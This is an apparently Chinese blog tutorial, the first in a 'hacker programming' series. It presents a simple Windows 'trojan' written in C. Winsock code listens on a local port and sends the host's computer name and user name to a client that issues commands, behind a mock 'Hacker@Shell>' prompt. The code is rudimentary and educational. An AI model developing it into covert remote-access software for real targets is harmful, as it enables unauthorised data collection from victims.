黑客编程入门(一)
黑客編程入門(一)
從一個簡單的木馬說起
平臺:Windows
環(huán)境:VS6.0
語言:C
基本功能 :
??????????????? 獲取目標(biāo)主機(服務(wù)端 )的計算機名和用戶名
????????????????當(dāng)客戶端發(fā)送指令 "getpcname“時在客戶端打印計算機名
??????????????? 當(dāng)客戶端發(fā)送指令"getusername”時在客戶端打印用戶名
知識儲備:
1 什么是C/S結(jié)構(gòu)
C/S結(jié)構(gòu)即客戶機服務(wù)器結(jié)構(gòu),簡單來說我們的木馬就是種植在服務(wù)端的,可以獲取服務(wù)端的信息,而我們在客戶端進行一系列的操作來控制木馬的活動以使我們的小馬
可以對服務(wù)器進行控制。話說我們的瀏覽器就是一個通用的客戶端呢。
2 TCP協(xié)議和UDP協(xié)議
我們的木馬的客戶端和服務(wù)端肯定要進行通信,兩者之間不斷地發(fā)送信息,信息的傳遞當(dāng)然需要制定一些規(guī)則來確保信息的真實性,正確性,因此人們就制定了一系列的大家通用的協(xié)議來規(guī)范通信的標(biāo)準(zhǔn),這就有了TCP和UDP(自然不止這兩種了,關(guān)于協(xié)議的更詳細(xì)的內(nèi)容如果感興趣自己查閱 ) 為了能進行通信,協(xié)議規(guī)定每個終端都要將各自字符集中的字符先變換為標(biāo)準(zhǔn)字符集的字符后,才進入網(wǎng)絡(luò)傳送,到達目的終端之后,再變換為該終端字符集的字符。也就是說我們的小馬在收集好服務(wù)端的信息后也要遵循這個準(zhǔn)則,將信息統(tǒng)一轉(zhuǎn)換為標(biāo)準(zhǔn)的字符集進行傳遞,客戶端再進行解析轉(zhuǎn)換。
?
基本知識準(zhǔn)備完畢,開始行動,具體所用的函數(shù)和庫我們將在完成代碼時一點點的了解。
首先最核心的功能——獲取主機的計算機名和用戶名。
1. 獲取計算機名的函數(shù):
?
BOOL WINAPI GetComputerName(_Out_ LPTSTR lpBuffer,_Inout_ LPDWORD lpnSize );
參數(shù)解釋:
lpBuffer是一個輸出參數(shù),是一個指向緩沖區(qū)的指針,用于接受計算機名,它的size必須足夠大來保存MAX_COMPUTERNAME_LENGTH + 1 characters
lpnSize是一個輸入輸出參數(shù),所謂輸入即限定了lpBuffer的size,而輸出即返回的計算機名的大小,不包含末尾的空字符
MSDN地址:http://msdn.microsoft.com/zh-cn/ms724295
2. 獲取用戶名的函數(shù):
?
BOOL WINAPI GetUserName(_Out_ LPTSTR lpBuffer,_Inout_ LPDWORD lpnSize );??
和GetComputerName的參數(shù)基本相同 詳細(xì)內(nèi)容:MSDN :http://msdn.microsoft.com/zh-cn/subscriptions/ms724432.aspx
?
接下來我們就來看下基本的實現(xiàn)的完整代碼,暫時不進行通信,別著急慢慢來:
#include<stdio.h> #include<windows.h> #define MAX_SIZE 20 int main(int argc,char* argv[]) {char szComputerName[MAX_SIZE] = {0};char szUserName[MAX_SIZE] = {0}; unsigned long nSize = MAXBYTE;GetComputerName(szComputerName,&nSize);printf("Computer name is %s \n",szComputerName);nSize = MAXBYTE;GetUserName(szUserName,&nSize);printf("User name is %s \n",szUserName);return 0; }哈,最核心的代碼我們已經(jīng)完成了,是不是很簡單?
然后我們要實現(xiàn)完整的服務(wù)端代碼:
預(yù)備知識:
1 WinSock接口:
Windows Socket的簡稱,也成為Windows套接字,是微軟根據(jù)BSD UNIX 操作系統(tǒng)中流行的Berkeley套接字規(guī)范而實現(xiàn)的一套Windows下的網(wǎng)絡(luò)編程接口?。我們的小木馬的網(wǎng)絡(luò)通信就是基于WinSock實現(xiàn)的,當(dāng)然還有其他的類似的庫,這里就不一一介紹了。
使用時我們要引入 #include<winsock2.h> 和 #pragma comment (lib,"ws2_32")
2 WinSock服務(wù)端開發(fā)流程:
WinSock的初始化(對應(yīng)函數(shù)WSAStartupup( ) )——> 建立套接字socket(對應(yīng)函數(shù)socket( ) )——>綁定IP和端口 (對應(yīng)函數(shù)bind( )?)?——> 監(jiān)聽端口 (對應(yīng)函數(shù)listen( ) )——> 接受請求(對應(yīng)函數(shù)accept( ) )——> 發(fā)送或者接收信息 (對應(yīng)函數(shù)(send( ) / recv( ) )——> 關(guān)閉套接字 (對應(yīng)函數(shù)closesocket( ) )——> 結(jié)束動態(tài)鏈接庫
(對應(yīng)函數(shù)( WSACleanup( ) )
int WSAStartup {WORD wVersionRequested,LPWSADATA lpWSAData };該函數(shù)的第一個參數(shù)指明程序請求使用的Socket版本,其中高位字節(jié) 指明副版本、低位字節(jié)指明主版本;
操作系統(tǒng)利用第二個參數(shù)返回請求的Socket的版本信息。
af 指定通信協(xié)議簇,對于TCP/IP協(xié)議,該參數(shù)為PF_INET
type 指定要創(chuàng)建的套接字類型
protocol 指定使用的通信協(xié)議,具體和第二個參數(shù)有關(guān),第二個參數(shù)為SOCK_STREAM則該參數(shù)為IPPROTO_TCP ,
?????????????? 若第二個參數(shù)為SOCK_DGRAM,則該參數(shù)為IPPROTO_UDP
?
int bind( SOCKET s, const struct sockaddr* name,int namlen );s 服務(wù)器端套接字
name?制定一個sockaddr結(jié)構(gòu)
namelen?指定緩沖區(qū)的長度
這里有必要介紹一下sockaddr結(jié)構(gòu)——
struct sockaddr_in { short int sin_family; /* Address family */ unsigned short int sin_port; /* Port number */ struct in_addr sin_addr; /* Internet address */ unsigned char sin_zero[8]; /* Same size as struct sockaddr */ };
sin_family 指代協(xié)議族
sin_port 存儲端口號(使用網(wǎng)絡(luò)字節(jié)順序)
sin_addr 存儲IP地址,使用in_addr這個數(shù)據(jù)結(jié)構(gòu)
sin_zero 是為了讓sockaddr與sockaddr_in兩個數(shù)據(jù)結(jié)構(gòu)保持大小相同而保留的空字節(jié)。
第一個參數(shù)很明顯就是處于監(jiān)聽狀態(tài)的套接字
backlog 客戶連接請求隊列
SOCKET accept(SOCKET s, struct sockaddr FAR* addr,int FAR* addrlen );s:套接口描述字,該套接口在listen()后監(jiān)聽連接。
addr:(可選)指針,指向一緩沖區(qū),其中接收為通訊層所知的連接實體的地址。Addr參數(shù)的實際格式由套接口創(chuàng)建時所產(chǎn)生的地址族確定。
addrlen:(可選)指針,指向存有addr地址長度的整形數(shù)。
buf是個指向發(fā)送的緩沖區(qū)的指針,也就是個地址
len是要發(fā)送的數(shù)據(jù)大小,一般是和buf的大小有關(guān)
flag 一般設(shè)置為0
所需要的函數(shù)基本講完了,接下來真正的動手寫代碼吧,上代碼
/*服務(wù)器端代碼*/ #include<winsock2.h> #include<windows.h> #pragma comment (lib,"ws2_32") #define MAX_SIZE 20 typedef struct _SYS_INFO {char szComputerName[MAX_SIZE];//保存計算機名char szUserName[MAX_SIZE];//保存當(dāng)前用戶登錄名 }SYS_INFO,*PSYS_INFO; void GetSysInfo(PSYS_INFO sysinfo) {unsigned long nSize = MAXBYTE;GetComputerName(sysinfo->szComputerName,&nSize);nSize = MAXBYTE;GetUserName(sysinfo->szUserName,&nSize); }; int main(int argc,char* argv[]) {//winsock的初始化WSADATA wsaData;WSAStartup(MAKEWORD(2,2),&wsaData);//創(chuàng)建套接字SOCKET s = socket(PF_INET,SOCK_STREAM,IPPROTO_TCP);//進行IP和端口的綁定sockaddr_in sockaddr;sockaddr.sin_family = PF_INET;sockaddr.sin_addr.S_un.S_addr = inet_addr("127.0.0.1");sockaddr.sin_port = htons(827);bind(s,(SOCKADDR*)&sockaddr,sizeof(SOCKADDR));//監(jiān)聽端口listen(s,1);//接收請求SOCKADDR clientAddr;int Size = sizeof(SOCKADDR);SOCKET clientSock;clientSock = accept(s,(SOCKADDR*)&clientAddr,&Size);//注意,accept函數(shù)返回一個新的套接字while(true){//向客戶端發(fā)送的信息,用于模擬一個命令行界面send(clientSock,"Hacker@Shell>",strlen("Hacker@Shell>")+sizeof(char),NULL);char buff[MAXBYTE] = {0};//保存接受的信息//接收信息recv(clientSock,buff,MAXBYTE,NULL);//根據(jù)從客戶端接收到的指令進行相應(yīng)的操作if(!strcmp(buff,"getpcname")||(!strcmp(buff,"getusername"))){SYS_INFO SysInfo = {0};GetSysInfo(&SysInfo);send(clientSock,(const char*)&SysInfo,sizeof(SYS_INFO),NULL);}}closesocket(clientSock);//關(guān)閉socketclosesocket(s);//關(guān)閉socketWSACleanup();//結(jié)束動態(tài)鏈接庫return 0; }
客戶端的代碼實現(xiàn)和服務(wù)器端比較類似 ,直接看完整的代碼:
下面看一下運行的結(jié)果吧:
總結(jié)
- 上一篇: 从跨境电商到成功转行数据分析师,我拒绝了
- 下一篇: C语言删除链表的倒数第N个节点